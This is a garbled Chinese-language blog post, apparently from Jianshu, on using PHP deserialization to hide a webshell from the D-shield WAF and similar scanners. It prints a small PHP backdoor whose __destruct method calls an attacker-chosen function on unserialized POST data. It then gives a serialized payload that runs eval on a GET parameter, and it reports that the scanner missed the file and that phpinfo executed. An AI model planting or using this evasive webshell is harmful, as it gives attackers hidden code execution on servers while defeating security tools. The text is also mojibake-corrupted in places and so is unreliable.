利用PHP反序列化免殺D盾等WAF軟件

這次這篇文章想法主要是在de1ctf一題shellshellshell過反序列化漏洞制造SSRF登錄,然后如果用反序列化來逃脫waf檢查應(yīng)該比較簡單。

先簡單講下什么是php反序列化:

序列化:把復(fù)雜的數(shù)據(jù)類型壓縮到一個字符串中 數(shù)據(jù)類型可以是數(shù)組,字符串,對象等? 函數(shù) :?serialize()

反序列化:恢復(fù)原先被序列化的變量 函數(shù):?unserialize()


一個簡單demo序列化:

class? ?dog{

? ? public $a = 'age is one';

? ? }

輸出的序列化:O:3:"dog":1:{s:1:"a";s:10:"age is one";}

O代表結(jié)構(gòu)類型為:類,3表示類名長度,接著是類名、屬性(成員)個數(shù)

大括號內(nèi)分別是:屬性名類型、長度、名稱;值類型、長度、值

反序列化就是把序列化輸出結(jié)果還原就是反序列化,這樣我們就可以構(gòu)造一個payload進(jìn)行調(diào)用從而繞過D盾安全狗什么。


常用的魔法函數(shù)

我就直接貼smile師傅里的東西了,就難得寫了

__construct()當(dāng)一個對象創(chuàng)建時被調(diào)用,但在unserialize()時是不會自動調(diào)用的。

__destruct()當(dāng)一個對象銷毀時被調(diào)用

__toString()當(dāng)一個對象被當(dāng)作一個字符串使用

__sleep() 在對象在被序列化之前運行

__wakeup將在序列化之后


現(xiàn)在我們來理解這個代碼

<?php

classA{

? ? public $name;

? ? public $muma;

? ? function? __destruct(){

? ? ? ? $a = $this->name;

? ? ? ? $a($this->muma);

? ? }

}

unserialize($_POST['waf']);?>

->用來引用一個類的屬性(變量)、方法(函數(shù))

其實可以理解為就是調(diào)用

POST傳參傳入:

waf=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"muma";s:16:"eval($_GET["a"])";}

get 傳入?yún)?shù):

a=phpinfo():


我們先把寫好的代碼放入www目錄下,然后使用D盾掃描效果如下

并沒有發(fā)現(xiàn)木馬。

現(xiàn)在嘗試能不能打開phpinfo,發(fā)現(xiàn)成功被打開。

而且D盾并沒有報錯,禁止訪問那個文件是裝的D盾配置文件,所以成功繞過D盾的查殺。

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容